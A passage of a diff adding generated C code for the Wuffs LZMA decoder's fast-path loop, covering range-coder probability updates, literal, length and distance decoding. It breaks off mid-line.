uint32_t v_rep1 = 0; -+ uint32_t v_rep2 = 0; -+ uint32_t v_rep3 = 0; -+ uint32_t v_reptmp = 0; -+ uint32_t v_rep = 0; -+ uint64_t v_pos = 0; -+ uint64_t v_pos_end = 0; -+ uint32_t v_lc = 0; -+ uint64_t v_lp_mask = 0; -+ uint64_t v_pb_mask = 0; -+ uint32_t v_prob = 0; -+ uint32_t v_threshold = 0; -+ uint32_t v_tree_node = 0; -+ uint8_t v_prev_byte = 0; -+ uint32_t v_match_byte = 0; -+ uint32_t v_match_cusp = 0; -+ uint32_t v_len_state = 0; -+ uint32_t v_slot = 0; -+ uint32_t v_len = 0; -+ uint32_t v_lanl_offset = 0; -+ uint32_t v_lanl_old_offset = 0; -+ uint32_t v_lanl_index = 0; -+ uint32_t v_num_extra_bits = 0; -+ uint32_t v_dist_extra_bits = 0; -+ uint32_t v_high_bit_was_on = 0; -+ uint32_t v_i = 0; -+ uint32_t v_index_ao00 = 0; -+ uint32_t v_index_ao41 = 0; -+ uint32_t v_index_lit = 0; -+ uint32_t v_index_len = 0; -+ uint32_t v_index_small_dist_base = 0; -+ uint32_t v_index_small_dist_extra = 0; -+ uint32_t v_index_small_dist = 0; -+ uint32_t v_index_large_dist = 0; -+ uint32_t v_dist = 0; -+ uint32_t v_adj_dist = 0; -+ uint64_t v_wb_index = 0; -+ -+ uint8_t* iop_a_dst = NULL; -+ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } -+ } -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ v_prev_byte = self->private_impl.f_stashed_bytes[0u]; -+ v_match_byte = ((uint32_t)(self->private_impl.f_stashed_bytes[1u])); -+ v_bits = self->private_impl.f_stashed_bits; -+ v_range = self->private_impl.f_stashed_range; -+ v_state = self->private_impl.f_stashed_state; -+ v_rep0 = self->private_impl.f_stashed_rep0; -+ v_rep1 = self->private_impl.f_stashed_rep1; -+ v_rep2 = self->private_impl.f_stashed_rep2; -+ v_rep3 = self->private_impl.f_stashed_rep3; -+ v_pos = self->private_impl.f_stashed_pos; -+ v_pos_end = self->private_impl.f_stashed_pos_end; -+ v_lc = self->private_impl.f_lc; -+ v_lp_mask = ((((uint64_t)(1u)) << self->private_impl.f_lp) - 1u); -+ v_pb_mask = ((((uint64_t)(1u)) << self->private_impl.f_pb) - 1u); -+ while ((((uint64_t)(io2_a_dst - iop_a_dst)) >= 282u) && (((uint64_t)(io2_a_src - iop_a_src)) >= 48u)) { -+ if (v_pos >= v_pos_end) { -+ self->private_impl.f_end_of_chunk = true; -+ break; -+ } -+ v_index_ao00 = ((v_state << 4u) | ((uint32_t)((v_pos & v_pb_mask)))); -+ v_prob = ((uint32_t)(self->private_data.f_probs_ao00[v_index_ao00])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_ao00[v_index_ao00] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_index_lit = (15u & ((((uint32_t)((v_pos & v_lp_mask))) << v_lc) | (((uint32_t)(v_prev_byte)) >> (8u - v_lc)))); -+ v_lanl_offset = 0u; -+ if (v_state >= 7u) { -+ v_lanl_offset = 256u; -+ } -+ v_tree_node = 1u; -+ while (v_tree_node < 256u) { -+ v_match_byte <<= 1u; -+ v_lanl_old_offset = v_lanl_offset; -+ v_lanl_offset &= v_match_byte; -+ v_lanl_index = (v_lanl_offset + v_lanl_old_offset + v_tree_node); -+ v_prob = ((uint32_t)(self->private_data.f_probs_lit[v_index_lit][v_lanl_index])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_lanl_offset = ((v_lanl_offset ^ v_lanl_old_offset) & 256u); -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_lit[v_index_lit][v_lanl_index] = ((uint16_t)(v_prob)); -+ v_tree_node = (v_tree_node << 1u); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_lit[v_index_lit][v_lanl_index] = ((uint16_t)(v_prob)); -+ v_tree_node = ((v_tree_node << 1u) | 1u); -+ } -+ if ((v_range >> 24u) == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ v_prev_byte = ((uint8_t)(v_tree_node)); -+ (wuffs_base__poke_u8be__no_bounds_check(iop_a_dst, v_prev_byte), iop_a_dst += 1); -+ v_pos += 1u; -+ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LITERAL[v_state])); -+ continue; -+ } -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_ao00[v_index_ao00] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } else { -+ } -+ do { -+ v_prob = ((uint32_t)(self->private_data.f_probs_ao20[v_state])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_ao20[v_state] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } else { -+ } -+ do { -+ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_low[0u][0u])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_match_len_low[0u][0u] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); -+ v_tree_node = 1u; -+ while (v_tree_node < 8u) { -+ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_low[v_index_len][v_tree_node])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_match_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = (v_tree_node << 1u); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_match_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = ((v_tree_node << 1u) | 1u); -+ } -+ if ((v_range >> 24u) == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ v_len_state = ((uint32_t)(WUFFS_LZMA__CLAMP_NO_MORE_THAN_3[(v_tree_node & 7u)])); -+ v_len = ((v_tree_node & 7u) + 2u); -+ break; -+ } -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_match_len_low[0u][0u] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_mid[0u][0u])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_match_len_mid[0u][0u] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); -+ v_tree_node = 1u; -+ while (v_tree_node < 8u) { -+ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_mid[v_index_len][v_tree_node])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_match_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = (v_tree_node << 1u); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_match_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = ((v_tree_node << 1u) | 1u); -+ } -+ if ((v_range >> 24u) == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ v_len = ((v_tree_node & 7u) + 10u); -+ v_len_state = 3u; -+ break; -+ } -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_match_len_mid[0u][0u] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_tree_node = 1u; -+ while (v_tree_node < 256u) { -+ v_prob = ((uint32_t)(self->private_data.f_probs_match_len_high[0u][v_tree_node])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_match_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = (v_tree_node << 1u); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_match_len_high[0u][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = ((v_tree_node << 1u) | 1u); -+ } -+ if ((v_range >> 24u) == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ v_len = ((v_tree_node & 255u) + 18u); -+ v_len_state = 3u; -+ } while (0); -+ v_slot = 1u; -+ while (v_slot < 64u) { -+ v_prob = ((uint32_t)(self->private_data.f_probs_slot[v_len_state][v_slot])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_slot[v_len_state][v_slot] = ((uint16_t)(v_prob)); -+ v_slot = (v_slot << 1u); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_slot[v_len_state][v_slot] = ((uint16_t)(v_prob)); -+ v_slot = ((v_slot << 1u) | 1u); -+ } -+ if ((v_range >> 24u) == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ v_slot &= 63u; -+ v_rep = v_slot; -+ if (v_slot < 4u) { -+ } else if (v_slot < 14u) { -+ v_num_extra_bits = ((v_slot >> 1u) - 1u); -+ v_rep = ((2u | (v_slot & 1u)) << v_num_extra_bits); -+ v_index_small_dist_base = ((uint32_t)(v_rep - v_slot)); -+ v_index_small_dist_extra = 1u; -+ v_dist_extra_bits = 0u; -+ v_i = 0u; -+ while (v_i < v_num_extra_bits) { -+ v_index_small_dist = (((uint32_t)(v_index_small_dist_base + v_index_small_dist_extra)) & 127u); -+ v_prob = ((uint32_t)(self->private_data.f_probs_small_dist[v_index_small_dist])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_small_dist[v_index_small_dist] = ((uint16_t)(v_prob)); -+ v_index_small_dist_extra = ((uint32_t)(v_index_small_dist_extra << 1u)); -+ v_i += 1u; -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_small_dist[v_index_small_dist] = ((uint16_t)(v_prob)); -+ v_index_small_dist_extra = (((uint32_t)(v_index_small_dist_extra << 1u)) | 1u); -+ v_dist_extra_bits |= (((uint32_t)(1u)) << v_i); -+ v_i += 1u; -+ } -+ if ((v_range >> 24u) == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ v_rep += v_dist_extra_bits; -+ } else { -+ v_num_extra_bits = ((v_slot >> 1u) - 1u); -+ v_rep = ((2u | (v_slot & 1u)) << v_num_extra_bits); -+ v_dist_extra_bits = 0u; -+ while (true) { -+ v_range >>= 1u; -+ v_bits -= v_range; -+ v_high_bit_was_on = ((uint32_t)(0u - (v_bits >> 31u))); -+ v_bits += (v_range & v_high_bit_was_on); -+ v_dist_extra_bits = (((uint32_t)(v_dist_extra_bits << 1u)) | (((uint32_t)(v_high_bit_was_on + 1u)) & 1u)); -+ if ((v_range >> 24u) == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_num_extra_bits -= 1u; -+ if (v_num_extra_bits <= 4u) { -+ break; -+ } -+ } -+ v_dist_extra_bits <<= 4u; -+ v_index_large_dist = 1u; -+ while (true) { -+ v_prob = ((uint32_t)(self->private_data.f_probs_large_dist[v_index_large_dist])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_large_dist[v_index_large_dist] = ((uint16_t)(v_prob)); -+ v_index_large_dist = (15u & ((uint32_t)(v_index_large_dist << 1u))); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_large_dist[v_index_large_dist] = ((uint16_t)(v_prob)); -+ v_index_large_dist = (15u & (((uint32_t)(v_index_large_dist << 1u)) | 1u)); -+ v_dist_extra_bits |= (((uint32_t)(1u)) << (4u - v_num_extra_bits)); -+ } -+ if ((v_range >> 24u) == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_num_extra_bits -= 1u; -+ if (v_num_extra_bits <= 0u) { -+ break; -+ } -+ } -+ v_rep += v_dist_extra_bits; -+ } -+ if (v_rep >= 4294967295u) { -+ self->private_impl.f_end_of_chunk = true; -+ goto label__outer__break; -+ } -+ v_rep3 = v_rep2; -+ v_rep2 = v_rep1; -+ v_rep1 = v_rep0; -+ v_rep0 = v_rep; -+ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_MATCH[v_state])); -+ break; -+ } -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_ao20[v_state] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } else { -+ } -+ v_prob = ((uint32_t)(self->private_data.f_probs_ao40[v_state])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_ao40[v_state] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } else { -+ } -+ v_index_ao41 = ((v_state << 4u) | ((uint32_t)((v_pos & v_pb_mask)))); -+ v_prob = ((uint32_t)(self->private_data.f_probs_ao41[v_index_ao41])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_ao41[v_index_ao41] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_len = 1u; -+ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_SHORTREP[v_state])); -+ break; -+ } -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_ao41[v_index_ao41] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_ao40[v_state] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } else { -+ } -+ v_prob = ((uint32_t)(self->private_data.f_probs_ao60[v_state])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_ao60[v_state] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_reptmp = v_rep1; -+ v_rep1 = v_rep0; -+ v_rep0 = v_reptmp; -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_ao60[v_state] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } else { -+ } -+ v_prob = ((uint32_t)(self->private_data.f_probs_ao63[v_state])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_ao63[v_state] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_reptmp = v_rep2; -+ v_rep2 = v_rep1; -+ v_rep1 = v_rep0; -+ v_rep0 = v_reptmp; -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_ao63[v_state] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_reptmp = v_rep3; -+ v_rep3 = v_rep2; -+ v_rep2 = v_rep1; -+ v_rep1 = v_rep0; -+ v_rep0 = v_reptmp; -+ } -+ } -+ } -+ do { -+ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_low[0u][0u])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_longrep_len_low[0u][0u] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); -+ v_tree_node = 1u; -+ while (v_tree_node < 8u) { -+ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_low[v_index_len][v_tree_node])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_longrep_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = (v_tree_node << 1u); -+ } else { -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_longrep_len_low[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = ((v_tree_node << 1u) | 1u); -+ } -+ if ((v_range >> 24u) == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ } -+ v_len = ((v_tree_node & 7u) + 2u); -+ v_state = ((uint32_t)(WUFFS_LZMA__STATE_TRANSITION_LONGREP[v_state])); -+ break; -+ } -+ v_bits -= v_threshold; -+ v_range -= v_threshold; -+ v_prob -= (v_prob >> 5u); -+ self->private_data.f_probs_longrep_len_low[0u][0u] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_mid[0u][0u])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_longrep_len_mid[0u][0u] = ((uint16_t)(v_prob)); -+ if ((v_range >> 24u) == 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_lzma__error__internal_error_inconsistent_i_o); -+ goto exit; -+ } -+ v_c8 = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ v_bits = (((uint32_t)(v_bits << 8u)) | ((uint32_t)(v_c8))); -+ v_range <<= 8u; -+ } -+ v_index_len = ((uint32_t)((v_pos & v_pb_mask))); -+ v_tree_node = 1u; -+ while (v_tree_node < 8u) { -+ v_prob = ((uint32_t)(self->private_data.f_probs_longrep_len_mid[v_index_len][v_tree_node])); -+ v_threshold = ((uint32_t)((v_range >> 11u) * v_prob)); -+ if (v_bits < v_threshold) { -+ v_range = v_threshold; -+ v_prob += (((uint32_t)(2048u - v_prob)) >> 5u); -+ self->private_data.f_probs_longrep_len_mid[v_index_len][v_tree_node] = ((uint16_t)(v_prob)); -+ v_tree_node = (v_tree_node << 